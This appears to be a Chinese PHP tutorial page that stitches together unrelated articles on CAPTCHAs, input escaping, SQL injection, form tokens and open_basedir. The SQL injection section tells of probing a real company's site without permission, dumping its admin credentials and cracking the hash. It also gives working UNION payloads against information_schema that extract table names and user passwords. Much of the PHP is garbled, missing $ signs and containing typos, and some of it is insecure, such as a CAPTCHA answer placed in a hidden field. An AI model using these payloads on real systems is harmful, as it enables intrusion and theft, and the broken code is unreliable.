PHP验证码生成与验证例子

 更新时间:2016年11月25日 15:22  点击:2768
验证码是一个现在WEB2.0中常见的一个功能了,像注册、登录又或者是留言页面,都需要注册码来验证当前操作者的合法性,我们会看到有些网站没有验证码,但那是更高级的验证了,下面我们来看常用的验证码生成与使用方法。

1 一个简单的验证码实例

1.1 显示验证码的图片

 代码如下 复制代码

    <?php
    $num=intval(mt_rand(1000,9999));
    for($i=0 ; $i<4 ;$i++)
    {echo "<img src=img/yzm/".substr(strval($num),$i,1).".gif/>";}
    ?>

1.2 验证过程

 代码如下 复制代码

    if (strval($inputyzm)!=strval($num))
    {
    echo "<script>alert('验证码错误!');history.go(-1);</script>";
    exit;
    }

2 一个汉字的验证码实例

2.1 显示验证码的图片

   

 代码如下 复制代码
<?php
    $str="汉","字","验","证","码"); //可以定义汉字的内容和个数
    $word=strlen($str));
    for ($i=0;$i<4;$i++)
    {
    $num=rand(0,$word);
    $img = $img."<img src='../images/yzm/".$num".gif'/>";
    $pic = $pic.$str[$num];
    }
    >

2.2 将生成的随机字符串赋给一个隐藏域

   

 代码如下 复制代码
<input type="hidden" name="yzm" value="<?php echo $pic; ?/>">

2.3 定义一个check()函数

 代码如下 复制代码

    <script language="javascript">
    function check(form)
    {
    if(form.yzm.value==""){
    alert("请输入验证码");
    form.yzm.focus();
    return false;
    }
    if(form.yzm.vale!=form.yz.value)
    {alert("验证码错误");
    form.yzm.focus();
    return false;
    }
    }
    </script>

看一个完整的实例

php 验证码生成与调用的例子,平时开发中经常使用,记录一下。

1、验证码生成文件code.php

 代码如下 复制代码

    <?
    Header("Content-type:image/png");
    //定义header,声明图片文件,最好是png,无版权之扰;
    //生成新的四位整数验证码
    session_start();//开启session;
    authnum_session = '';
    str = 'abcdefghijkmnpqrstuvwxyz1234567890';
    //定义用来显示在图片上的数字和字母;
    l = strlen(str); //得到字串的长度;
    //循环随机抽取四位前面定义的字母和数字;
    for(i=1;i<=4;i++)
    {
    num=rand(0,l-1);
    //每次随机抽取一位数字;从第一个字到该字串最大长度,
    //减1是因为截取字符是从0开始起算;这样34字符任意都有可能排在其中;
    authnum_session.= str[num];
    //将通过数字得来的字符连起来一共是四位;
    }
    session_register("authnum_session");
    //用session来做验证也不错;注册session,名称为authnum_session,
    //其它页面只要包含了该图片
    //即可以通过_SESSION["authnum_session"]来调用

    //生成验证码图片,
    srand((double)microtime()*1000000);
    im = imagecreate(50,20);//图片宽与高;
    //主要用到黑白灰三种色;
    black = ImageColorAllocate(im, 0,0,0);
    white = ImageColorAllocate(im, 255,255,255);
    gray = ImageColorAllocate(im, 200,200,200);
    //将四位整数验证码绘入图片
    imagefill(im,68,30,gray);
    //如不用干扰线,注释就行了;
    li = ImageColorAllocate(im, 220,220,220);
    for(i=0;i<3;i++)
    {//加入3条干扰线;也可以不要;视情况而定,因为可能影响用户输入;
    imageline(im,rand(0,30),rand(0,21),rand(20,40),rand(0,21),li);
    }
    //字符在图片的位置;
    imagestring(im, 5, 8, 2, authnum_session, white);
    for(i=0;i<90;i++)
    {//加入干扰象素
    imagesetpixel(im, rand()%70 , rand()%30 , gray);
    }
    ImagePNG(im);
    ImageDestroy(im);
    ?>

以上代码,参考了如下的文章:
php图片验证码
php生成验证码的例子
用php生成带有雪花背景的验证码

2、调用验证码的页面 sessionValidate.php

 代码如下 复制代码

    <?php
    session_start();
    //在页首先要开启session,
    //error_reporting(2047);
    session_destroy();
    //将session去掉,以每次都能取新的session值;
    //用seesion 效果不错,也很方便
    ?>
    <html>
    <head>
    <title>session 图片验证实例</title>
    </head>
    <body>
    此例为session验证实例
    <form action="" method="post">
    验证码:<input type="text" name="validate" value="" size=10> <img src="checkNum_session.php"><br>
    <input type="submit">
    </form>
    <?php
    //打印上一个session;
    echo "上一个session:<b>"._SESSION["authnum_session"]."</b><br>";
    validate="";
    if(isset(_POST["validate"])){
    validate=_POST["validate"];
    echo "您刚才输入的是:"._POST["validate"]."<br>状态:";
    if(validate!=_SESSION["authnum_session"]){
    //判断session值与用户输入的验证码是否一致;
    echo "<font color=red>输入有误</font>";
    }else{
    echo "<font color=green>通过验证</font>";
    }
    }
    /*
    //打印全部session;
    PrintArr(_SESSION);
    function PrintArr(aArray){
    echo '<xmp>';
    print_r(aArray);
    echo '</xmp>';
    }
    */
    ?>

get_magic_quotes_gpc函数是一个用来判断是否为用户提供的数据增加斜线了,这个在php.ini配置文件中哦,下面我来介绍一下get_magic_quotes_gpc()函数说明.

get_magic_quotes_gpc函数介绍

取得 PHP 环境变数 magic_quotes_gpc 的值,属于 PHP 系统功能。
语法: long get_magic_quotes_gpc(void);
返回值: 长整数
本函数取得 PHP 环境配置的变量 magic_quotes_gpc (GPC, Get/Post/Cookie) 值。返回 0 表示关闭本功能;返回 1 表示本功能打开。


当 magic_quotes_gpc 打开时,所有的 ‘ (单引号), ” (双引号), (反斜线) and 空字符会自动转为含有反斜线的溢出字符。
magic_quotes_gpc设置是否自动为GPC(get,post,cookie)传来的数据中的’”加上反斜线。可以用get_magic_quotes_gpc()检测系统设置。
如果没有打开这项设置,可以使用addslashes()函数添加,它的功能就是给数据库查询语句等的需要在某些字符前加上了反斜线。
这些字符是单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)。
默认情况下,PHP 指令 magic_quotes_gpc 为 on,它主要是对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。

不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

利用 get_magic_quotes_gpc()预防数据库攻击的正确做法

 代码如下 复制代码

<?php
function check_input($value)
{
// 去除斜杠
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// 如果不是数字则加引号
if (!is_numeric($value))
{
$value = “‘” . mysql_real_escape_string($value) . “‘”;
}
return $value;
}
$con = mysql_connect(“localhost”, “hello”, “321″);
if (!$con)
{
die(‘Could not connect: ‘ . mysql_error());
}
// 进行安全的 SQL
$user = check_input($_POST['user']);
$pwd = check_input($_POST['pwd']);
$sql = “SELECT * FROM users WHERE
user=$user AND password=$pwd”;
mysql_query($sql);
mysql_close($con);
?>

总结如下:

1. 对于magic_quotes_gpc=on的情况,

我们可以不对输入和输出数据库的字符串数据作
addslashes()和stripslashes()的操作,数据也会正常显示。

如果此时你对输入的数据作了addslashes()处理,
那么在输出的时候就必须使用stripslashes()去掉多余的反斜杠。

2. 对于magic_quotes_gpc=off 的情况

必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出
因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行

SQL注入就是利用你语法或接受数据处理上的一些bug进行爆数据库,然后下载你的数据或直接获取你的管理员进入一些对网站有影响的操作,但在SQL注入中我们有那些bug给人利用呢,下面小编收集了一些初级与稍高级一点的方法,只共学习参考使用,其它一律不管。

最基本的sql注入漏洞方法

今天早上学院开了个会,说了些关于毕业实习与设计的安排之类的还有说明天有个企业来招聘,让有兴趣的人回去登录他们公司的网站看看。paperen我当然是没有这个兴趣的啦,但是宿舍的小华同学就有点兴趣,回来就上了他们的网站。但是……?

paperen我也瞅了几眼,网站不咋的啊,asp的,也不知道为啥突然想也去踩踩,看看有没有存在sql注入漏洞,登上他们的网站,看了几个页面,去到公司新闻那,有一条新闻url是xwzx_content.asp?id=456(很正常的传值,根据id值去查数据库并显示相应的数据,也很合理),但是……?

paperen我将参数改为xwzx_content.asp?id=456 and 1=1试了试,发现与id=456显示是一样的。(并不能证明是否存在漏洞)?

然后又试试这个

 代码如下 复制代码
xwzx_content.asp?id=456 and '1'='1

结果是

提示错误由此可以判断出存在漏洞,因为你可以在自己的数据库随便找个表来试试这个语句?

select * from table where id=1 and 1=1(某一条记录的id号),其实加上and 1=1与不加是一样的结果,因为1=1是true的,sql肯定可以执行过去,但如果你是1=2的话就不行了,因为很显然1不等于2,为false所以查不到任何数据。?

然后继续去构造语句xwzx_content.asp?id=456 or 1=1,结果是

得出这个结果也是很显然的,因为or上一个1=1(ture)结果也是true的,无论你的id号为456这条数据是否存在都会查出所有数据记录。?

从上面几个操作就证实了sql注入漏洞确实在这个页面存在,下面开始正式的注入爆出我们想得到的信息,主要是看你的RP。?

我们需要使用union联合查询出其管理密码与账号。当然前提是你要去猜出管理员那个表的名字。?

paperen我第一个想到的就是管理员,试试吧。

1.xwzx_content.asp?id=456?union select?* from 管理员结果是


提示字段数不匹配,那么我们再去猜它的字段数吧

1.xwzx_content.asp?id=456?union select?1,2,3,4,5,6 from 管理员结果是


看来是猜对了,这个表中共有10个字段,其中4这个字段会被显示到页面中。可能大家不太明白这里到底是什么回事,paperen我不妨放出一个自己在mysql中的一个截图。

1.sql命令是SELECT * FROM `paper_blog` WHERE id =1 UNION SELECT 1 , 2, 3, 4, 5, 6, 7, 8, 9, 10 FROM member
?

看到第二行的1,2,3,4,5了吧,反正自己领会领会吧,关于union这个联合查询不知道大家有没有用过,简单地说就是将别的表的数据都查询过来。?

再来猜他放管理员账号那个字段名,我就猜是name吧。

1.xwzx_content.asp?id=456?union select?1,2,3,name,5,6 from 管理员结果是


这就证明猜错了,继续猜叫管理员,嘻嘻,果然有了。


爆出管理员的账号是管理员,再来爆他的密码,就猜叫password吧。

1.xwzx_content.asp?id=456?union select?1,2,3,password,5,6 from 管理员结果是


密码是32位的,应该是MD5加密的,ctrl+c一下到一些在线解MD5的网站一查,密码竟然也是管理员……这安全意识也太差了吧。?

账号有了密码也有了,还差什么?很明显是后台地址,但是paperen我还是找不到啊,蒙不对地址,看到这里不知道大家是不是有些少失望,唉,paperen我也有点,但是算了,我还要发表博文呢,先不花时间去碰了。反正这个网站给我的印象就是不太好,公司估计也不咋的吧。?

其实要入侵一个网站真的不是很容易的,要防入侵也是很不容易的,但是从上面说的这些可以看出某些观点去防止出现这种很低级的错误。?

1.对get传参的参数进行过滤与判断

2.不要参照某些开源的程序的数据库表或表名去建立自己的数据库

3.要使用比较复杂的密码,至少不要管理员,管理员888之类的

4.放后台文件的文件夹名字最好改得特别点,不要让人轻易猜到

5.对于asp网站的数据库文件最好改后缀为asp的,防止被下载?


稍微高级一点的SQL注入

还记得在“你是这样处理来自$_GET的数据吗 ”里面写到的那个SQL,

 代码如下 复制代码
1.$sql = 'select * from goods where id='.$id;

不对传入来的数据进行任何过滤甚至不用单引号抱起来会导致的问题在那篇文章中已经说的比较明确了,如果您能猜到数据库其他表的话还能查到其他表的内容,而这次paperen想说一些使用这个漏洞更高级的一个技巧。

假如你已经证实了此处存在漏洞,(怎样证明?简单来说分别测试一下将参数改为id=1=1与id=1=2再看页面就能知道是否存在漏洞,如果显示信息不一样或出错则证明存在漏洞),但是即使证实了有漏洞但猜不到其他表的表名怎办。使用一个很邪恶的招数,先放出注入URL。

爆出目前数据库名

1.URL:

 代码如下 复制代码
http://localhost/mytest/sqlinject/?id=-1+UNION+select+1,2,3,database(),5,6,7,8,9+from+information_schema.columns2.SQL:SELECT * FROM goods WHERE id=-1 UNION SELECT 1,2,3,DATABASE(),5,6,7,8,9 FROM information_schema.columns

然后将获得数据库test的hex值后再爆出该test数据库中的表名(获得test的hex值 select hex('test') 放到mysql中跑一下就可以看到结果了,74657374前面再加上0x,十六进制数)

1.URL:

 代码如下 复制代码
http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,2,3,GROUP_CONCAT(DISTINCT(table_name)),5,6,7,8,9+FROM+information_schema.columns+AS+c+WHERE+c.table_schema=0x746573742.SQL:SELECT * FROM test.goods WHERE id = -1 UNION SELECT 1 , 2, 3, GROUP_CONCAT( DISTINCT table_name ) , 5, 6, 7, 8, 9 FROM information_schema.columns AS c WHERE c.table_schema = 0x74657374

然后在将表user的hex值放入去,查user表的字段,现在是DISTINCT(column_name)了,最好加上and如果有不止一个数据库有user表的话可能得出的结果会误导你。

1.URL:

 代码如下 复制代码
http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,2,3,GROUP_CONCAT(DISTINCT(column_name)),5,6,7,8,9+FROM+information_schema.columns+WHERE+table_name=0x75736572+AND+TABLE_SCHEMA=0x746573742.SQL:select * from goods where id=-1 UNION SELECT 1,2,3,GROUP_CONCAT(DISTINCT(column_name)),5,6,7,8,9 FROM information_schema.columns WHERE table_name=0x75736572 AND TABLE_SCHEMA=0x74657374

you see!已经一步步地获得了我们想要的信息了,是不是有点意思呢?所以paperen说这种东西搞上来会上瘾的。

然后直接爆出他的user表的明码。

 代码如下 复制代码

URL:http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,password,3,username,5,6,7,8,9+FROM+user2.SQL:select * from goods where id=-1 UNION SELECT 1,password,3,username,5,6,7,8,9 FROM user

但是user表里面可能不止一个用户数据,那么就加上limit吧

 代码如下 复制代码
1.URL:http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,password,3,username,5,6,7,8,9+FROM+user+limit+1,12.SQL:select * from goods where id=-1 UNION SELECT 1,password,3,username,5,6,7,8,9 FROM user limit 1,1

然后将获得的密码拿去
破解获得明码,再知道后台路径,使用用户帐号与破解的密码登陆到后台吧,但是paperen后面两个步骤也是看你人品的,如果密码被搞得比较复杂,你也很难破解,即使你破解了也得要找到后台地址。So……就到此为止了。就是娱乐一下。(PS:你还可以用load_file将服务器一些文件内容弄到,前提是你也要猜到文件的路径)

以前看过很多各种防止表单重复提交js或jquery程序,但这种只是一个简单的方法,如果我们不从这个页面提交表单,直接找到接受数据的页面这种js处理方法就无效了,下面我利用php一些方法来解决。

以前用的js表单防止重复提交方法

 代码如下 复制代码

<script type="text/javascript">
var checkSubmitFlg = false;
function checkSubmit() {
 if (!checkSubmitFlg) {

// 第一次提交
  checkSubmitFlg = true;
  return true;
 } else {

//重复提交
  alert("Submit again!");
  return false;
 }
}
</script>

//以下三种方式分别调用

<form onsubmit="return checkSubmit();">

<input type="submit" onclick="return checkSubmit();" />

<input type="button" onclick="document.forms[0].action='./test';document.forms[0].submit();return checkSubmit();" />

这样如果我直接做一个表单,然后提交给/test,上面代理就是一个摆设了,那我们要如何解决此问题

如果您已经知道如何解决的话那么这篇文章可能不适合你的口味,paperen这里也打算从基础开始讨论,所以希望一步看到解决方案的您也可能不太适合,所以请注意。So~开始吧 ~

paperen想您一定知道表单是什么吧,form元素就是表单,一般网页需要输入的地方必定使用了表单元素,也很常见,一般的代码如下:

 代码如下 复制代码

    <form
    
    method="post">
    <p>
    <label for="test">随便输入点什么www.111cn.net</label>
    <input type="text" name="data" id="test" />
    </p>
    <p>
    <input type="submit" value="提交" name="submit" />
    </p>
    </ul>
    </form>

重点其实是form与input元素,p元素只是paperen私自加上去的,对后续的说明没有任何影响,其实很简单,所谓input就是输入了,你可以完全将input 元素理解为是用作用户输入,只是某些属性的(type)不能作为输入而已(这里就是submit),而form元素你完全可以将它理解为是一个袋子,将所有用户输入数据到装在它里面之后用 来提交回服务端处理,但对于form元素值得注意的是method属性,一般来说有get与post两种方法,其实不要想得太复杂(因为深入的不需要太理解,对于后续的内容没有太多关系,如 有兴趣不妨可以使用浏览器的调试工具查看请求头部信息与发送信息,例如firebug),表现出来就是,使用get提交表单的话所有的input元素的值将会在地址栏处出现,而post则不会, 例如使用get提交此表单后的浏览器地址栏

 代码如下 复制代码

http://localhost/mytest/token/form.php?data=test&submit=%E6%8F%90%E4%BA%A4

post则在 地址栏看不到了,使用fiebug可以看到如下信息

可以简单认为get是显式传送数据的,而 post则是隐式传送数据的,但还有一个很大区别的是post支持更多更大的数据传送。

Next,当表单代码写好了,那么让我们来进行服务器脚本的编写(这里就是PHP)。很简单 ~

   

 代码如下 复制代码
<?php
    if ( isset( $_POST['submit'] ) ) {
    //表单提交处理
    $data = isset( $_POST['data'] ) ? htmlspecialchars( $_POST['data'] ) :
    
    '';
    //Insert or Update数据库
    $sql = "insert into test (`string`) values ('$data')";
    //do query
    echo $sql;
    }
    ?>

因为这里是post传送数据的,所以使用PHP的$_POST全局变量就能获取到表单提交的数据,所有使用post方法的表单数据提交到服务端都会被保存在这个$_POST全局变 量中,不妨可以试试print_r( $_POST )这个变量你就明白了。

首先检查一下是否在$_POST数组里面存在submit,如果存在则证明是表单提交过来的,正如asp.net中好像有个 叫ispostback的一样,只是这样没那么严谨而已,但是不要紧之后会解决这个问题的。

之后接收输入框的数据,就是$_POST['data'],别忘了使用htmlspecialchars对这个进 行一下html过滤,因为防止输入了html标签或javascript造成问题(貌似叫做XSS漏洞)。最后就是拼接到sql语句中送入数据库跑了(只是这里paperen并没有很详细使用一些操作数据库的 函数例如mysql_query,有兴趣自己完成它)。恭喜,到了这里你已经顺利地完成了一个数据录入的功能了,但是有个地方你总得改善吧,插入数据后总得给操作者一个提示吧~~至少提示 我操作失败还是成功。所以整个代码paperen写成以下样子。

   

 代码如下 复制代码

<?php
    if ( isset( $_POST['submit'] ) ) {
    //表单提交处理
    $data = isset(
    
    $_POST['data'] ) ? htmlspecialchars( $_POST['data'] ) : '';
    //connect
    mysql_connect( 'localhost', 'root', 'root' );
    
    //select db
    mysql_select_db( 'test' );
    //设置字符集防止乱码
    mysql_query( 'set names "utf8"' );
    //SQL
    $sql = "insert
    
    into `token` (string) values ('$data')";
    //query
    mysql_query( $sql );
    $insert_id = mysql_insert_id();
    if (
    
    $insert_id ) {
    $state = 1;
    } else {
    $state = 0;
    }
    }
    ?>

    <?php if ( isset( $state )

    && $state ) { //数据插入成功 ?>

    <p>插入成功 <a href="form.php">返回</a></p>

    <?php } else { //失败或者没有插入动

    作 ?>

    <form method="post">

    <p>

    <label for="test">随便输入点什么</label>

    <input type="text"

    name="data" id="test" />

    </p>

    <p>

    <input type="submit" value="提交" name="submit" />

    </p>

    </ul>

    </form>

    <?php } ?>

html的声明与head还有body都省略了,对比于一开始的代码其实主要是实现了真正插入数据库动作与给出 了操作反馈(通过$state变量),不妨自己拷贝代码然后试试(当然请根据自己实际情况修改数据库操作部分的代码)。代码正常,逻辑没问题,但是有个问题,就是在显示插入成功后再刷新页 面又会执行了表单处理动作,又插了一遍数据!这就是所谓的重复插入问题。在放出解决方案之前您可以自己思考一下该如何解决。

你会不会认为是接收数据与显示处理结果都是 这个页面所以才会导致这个问题?也对,也可以这么认为,使用一些调试工具你会发现,浏览器还对post的数据进行了保留,故在提交完表单后再刷新的话该post数据会重新提交了一遍。

如果有办法将浏览器的这个临时保存的post数据清空掉不就解决问题了,但服务端是没法 做到这点的,因为这是浏览器自身的事情,要么我们就重定向了不然再刷新还是会重复提交数据。

到目前为止也许你已经了解到重复提交的意思与问题的恶劣所在,如果 你不是选用重定向的办法那么就得另外想一个办法了,所以令牌解决办法就是这么过来的。

正如令牌本身代表着权限,操作权,身份标志等等,所以我能不能为我的表单加上这么 一个身份标志,在客户端每次请求这个表单的时候同时生成一个令牌其挂钩,在提交时再进行判断,正确则接收并处理表单。实现本质就是如此,而反映到具体实现上,就需要用到一种叫 session的东西。关于session的解析,参见wiki

简单的理解就是session也是一种令 牌的概念,所以你可能会很惊奇,“什么我已经使用了令牌?!”,是的,但是我们要实现的不仅仅是session而是在其基础上附加一些数据来实现我们想要的表单令牌。So let's do it!

session在php中也是被存放在$_SESSION这个超级全局变量里面的,启用起请使用session_start(),关于其他服务端脚本原理一样,只是可能调用方法名不一致而已。加入 token后的代码如下:

 

 代码如下 复制代码
   <?php
    //开启session
    session_start();
    if ( isset( $_POST['submit'] ) && valid_token() ) {
    //表单
    
    提交处理
    }
    
    /**
    * 生成令牌
    * @return string MD5加密后的时间戳
    */
    function create_token() {
    //当前时间戳
    
    $timestamp = time();
    $_SESSION['token'] = $timestamp;
    return md5( $timestamp );
    }
    /**
    * 是否有效令牌
    * @return bool
    
    
    */
    function valid_token() {
    if ( isset( $_SESSION['token'] ) && isset( $_POST['token'] ) && $_POST['token'] == md5(
    
    $_SESSION['token'] ) )
    {
    //若正确将本次令牌销毁掉
    $_SESSION['token'] = '';
    return true;
    }
    return false;
    }
    ?>
    <?php if ( isset( $state ) && $state ) { //数据插入成功 ?>
    <p>插入成功 <a href="form.php">返回
    
    </a></p>
    <?php } else { //失败或者没有插入动作 ?>
    <form method="post">
    <p>
    <label for="test">随便
    
    输入点什么</label>
    <input type="text" name="data" id="test" />
    </p>
    <p>
    <input type="submit" value="提
    
    交" name="submit" />
    </p>
    </ul>
    <!-- Token -->
    <input type="hidden" value="<?php echo create_token(); //生成
    
    令牌 ?>" name="token" />
    <!-- Token -->
    </form>
    <?php } ?>

部分代码paperen这里省略,因为并不是重点,其实加的 东西只有3处:

第一,在表单结束前加入了一个input元素,记得type为hidden(隐藏域)

第二,增加了两个函数,create_token与valid_token,前者用来生成令牌 的后者用来验证令牌的

第三,在if中多加一个条件,valid_token

那就大功告成了,很简单,而且所有的东西都聚集在新加的两个函数中。paperen这里使用的令牌很 简单就是时间戳,将请求表单时的时间戳存储到$_SESSION['token']中,那么验证令牌就明白了,就是检查客户端提交过来的$_POST['token']是否与md5后的$_SESSION['token']一致 就行了,当然还要加上存在$_POST['token']与$_SESSION['token']这两个变量才行。

你可以将这个简单的令牌模式封装得更加棒并扩展一下功能,例如加上表单提交超时验证 也是个不错的动手机会。

最后附上之前paperen扩展codeingeter的Form_validation类文件,主要是扩展上令牌与表单超时。压缩包中welcome.php是控制器文件,请放置到 applicationcontroller中(如不想增加这个控制器可以打开然后将token方法复制下来放到已有的其他控制器中);MY_Form_validation.php请放到applicationlibraries中。

codeingeter的Form_validation类文件代码

 代码如下 复制代码

<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Welcome extends CI_Controller {


 public function index()
 {
  $this->load->view('welcome_message');
 }

        public function token()
        {
            $this->load->helper( array('form') );
            $this->load->library('form_validation');
            if ( $this->input->post( 'submit' ) && $this->form_validation->valid_token() )
            {
                //nothing
                //valid_token已经包含令牌超时与令牌正确的判断,若要启用令牌超时,请将token_validtime设置为非0
                echo 'ok';
            }

            //生成表单令牌
            $token = $this->form_validation->create_token();

            //form example
            echo form_open();
            echo form_input('token', '');
            echo $token;
            echo form_submit('submit', 'submit');
            echo form_close();
        }
}

form_validation_token

 代码如下 复制代码

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
 * @abstract 继承CI的Form_validation类在其基础上增加令牌
 */
class MY_Form_validation extends CI_Form_validation {

    /**
     * 令牌键值
     * @var string
     */
    var $key = 'token';
   
    /**
     * 表单令牌有效时间(秒)
     * @abstract 如果某些表单需要限制输入时间,则设置该值,为0则不限制
     * @var int 秒
     */
    var $token_validtime = 5;

    /**
     * 调试模式
     * @var bool
     */
    var $debug = false;

    /**
     * CI对象
     * @var <type>
     */
    private $_CI;

    public function __construct()
    {
        parent::__construct();
        $this->_CI =& get_instance();
        //如果配置没有填写encryption_key
        $encryption_key = config_item('encryption_key');
        if ( empty( $encryption_key ) ) $this->_CI->config->set_item( 'encryption_key', $this->key );
        //如果没有装载session
        if ( !isset( $this->_CI->session ) ) $this->_CI->load->library('session');
    }

    /**
     * 设置令牌有效时间
     * @param int $second 秒数
     */
    public function set_token_validtime( $second )
    {
        $this->token_validtime = intval( $second );
    }

    /**
     * 获取表单令牌有效时间
     * @return int 秒数
     */
    public function get_token_validtime()
    {
        return $this->token_validtime;
    }

    /**
     * 验证表单令牌是否合法
     * @return bool
     */
    public function valid_token()
    {
        if ( $this->debug ) return true;
        //获取session中的hash
        $source_hash = $this->_CI->session->userdata( $this->key );
        if ( empty( $source_hash ) ) return false;
       
        //判断是否超时
        if ( $this->is_token_exprie() ) return false;

        //提交的hash
        $post_formhash = $this->_CI->input->post( $this->key );
        if ( empty( $post_formhash ) ) return false;

        if ( md5( $source_hash ) == $post_formhash )
        {
            $this->_CI->session->unset_userdata( $this->key );
            return true;
        }
        return false;
    }

    /**
     * 生成表单令牌(连同input元素)
     * @return string
     */
    public function create_token( $output = false )
    {
        $code = time() . '|' .  $this->get_random( 5 );
        $this->_CI->session->set_userdata( $this->key , $code);
        $result = function_exists('form_hidden') ? form_hidden( $this->key, md5( $code ) ) : '<input type="hidden" name="token" value="'. md5( $code ) .'" />';
        if ( $output )
        {
            echo $result;
        }
        else
        {
            return $result;
        }
    }
   
    /**
     * 获取随机数(自己可以扩展)
     * @param int $number 上限
     * @return string
     */
    public function get_random( $number )
    {
        return rand( 0, $number );
    }
   
    /**
     * 判断表单令牌是否过期
     * @return bool
     */
    public function is_token_exprie()
    {
        if ( empty( $this->token_validtime ) ) return false;
        $token = $this->_CI->session->userdata( $this->key );
        if ( empty( $token ) ) return false;
        $create_time = array_shift( explode('|', $token) );
        return ( time() - $create_time > $this->token_validtime );
    }
}

open_basedir的作用就是指定目录位置了,意思是将PHP 所能打开的文件限制在指定的目录树,包括文件本身了,并且不受是不是安全模式的影响。


如下是php.ini中的原文说明以及默认配置:
; open_basedir, if set, limits all file operations to the defined directory
; and below. This directive makes most sense if used in a per-directory or
; per-virtualhost web server configuration file. This directive is
; *NOT* affected by whether Safe Mode is turned On or Off.
open_basedir = .
open_basedir可将用户访问文件的活动范围限制在指定的区域,通常是其家目录的路径,也
可用符号"."来代表当前目录。注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是
可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。例如设置成:
"open_basedir = /dir/user/"


open_basedir也可以同时设置多个目录, 在Windows中用分号分隔目录,在任何其它系统中用
冒号分隔目录。当其作用于Apache模块时,父目录中的open_basedir路径自动被继承。


有三种方法可以在Apache中为指定的用户做独立的设置:


(a) 在Apache的httpd.conf中Directory的相应设置方法:


php_admin_value open_basedir /usr/local/apache/htdocs/
#设置多个目录可以参考如下:
php_admin_value open_basedir /usr/local/apache/htdocs/:/tmp/

 


(b) 在Apache的httpd.conf中VirtualHost的相应设置方法:
php_admin_value open_basedir /usr/local/apache/htdocs/
#设置多个目录可以参考如下:
php_admin_value open_basedir /var/www/html/:/var/tmp/


(c) 因为VirtualHost中设置了open_basedir之后, 这个虚拟用户就不会再自动继承php.ini
中的open_basedir设置值了,这就难以达到灵活的配置措施, 所以建议您不要在VirtualHost
中设置此项限制. 例如,可以在php.ini中设置open_basedir = .:/tmp/, 这个设置表示允许
访问当前目录(即PHP脚本文件所在之目录)和/tmp/目录.


请注意: 若在php.ini所设置的上传文件临时目录为/tmp/, 那么设置open_basedir时就必须
包含/tmp/,否则会导致上传失败. 新版php则会提示"open_basedir restriction in effect"
警告信息, 但move_uploaded_file()函数仍然可以成功取出/tmp/目录下的上传文件,不知道
这是漏洞还是新功能.

[!--infotagslink--]

相关文章

  • PHP 验证码不显示只有一个小红叉的解决方法

    最近想自学PHP ,做了个验证码,但不知道怎么搞的,总出现一个如下图的小红叉,但验证码就是显示不出来,原因如下 未修改之前,出现如下错误; (1)修改步骤如下,原因如下,原因是apache权限没开, (2)点击打开php.int., 搜索extension=ph...2013-10-04
  • Django def clean()函数对表单中的数据进行验证操作

    这篇文章主要介绍了Django def clean()函数对表单中的数据进行验证操作,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-07-09
  • JS实现随机生成验证码

    这篇文章主要为大家详细介绍了JS实现随机生成验证码,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2021-09-06
  • php二维码生成

    本文介绍两种使用 php 生成二维码的方法。 (1)利用google生成二维码的开放接口,代码如下: /** * google api 二维码生成【QRcode可以存储最多4296个字母数字类型的任意文本,具体可以查看二维码数据格式】 * @param strin...2015-10-21
  • jQuery Real Person验证码插件防止表单自动提交

    本文介绍的jQuery插件有点特殊,防自动提交表单的验证工具,就是我们经常用到的验证码工具,先给大家看看效果。效果图如下: 使用说明 需要使用jQuery库文件和Real Person库文件 同时需要自定义验证码显示的CSS样式 使用实例...2015-11-08
  • Java生成随机姓名、性别和年龄的实现示例

    这篇文章主要介绍了Java生成随机姓名、性别和年龄的实现示例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-10-01
  • C#生成随机数功能示例

    这篇文章主要介绍了C#生成随机数功能,涉及C#数学运算与字符串操作相关技巧,具有一定参考借鉴价值,需要的朋友可以参考下...2020-06-25
  • JavaScript实现密码框输入验证

    这篇文章主要为大家详细介绍了JavaScript实现密码框输入验证,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2021-10-01
  • jQuery为动态生成的select元素添加事件的方法

    下面小编就为大家带来一篇jQuery为动态生成的select元素添加事件的方法。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧...2016-09-01
  • Jquery插件实现点击获取验证码后60秒内禁止重新获取

    通过jquery.cookie.js插件可以快速实现“点击获取验证码后60秒内禁止重新获取(防刷新)”的功能效果图:先到官网(http://plugins.jquery.com/cookie/)下载cookie插件,放到相应文件夹,代码如下:复制代码 代码如下: <!DOCTYPE ht...2015-03-15
  • Nest.js 授权验证的方法示例

    这篇文章主要介绍了Nest.js 授权验证的方法示例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2021-02-22
  • PHP自动生成后台导航网址的最佳方法

    经常制作开发不同的网站的后台,写过很多种不同的后台导航写法。 最终积累了这种最写法,算是最好的吧...2013-09-29
  • php生成唯一数字id的方法汇总

    关于生成唯一数字ID的问题,是不是需要使用rand生成一个随机数,然后去数据库查询是否有这个数呢?感觉这样的话有点费时间,有没有其他方法呢?当然不是,其实有两种方法可以解决。 1. 如果你只用php而不用数据库的话,那时间戳+随...2015-11-24
  • php实现点击可刷新验证码

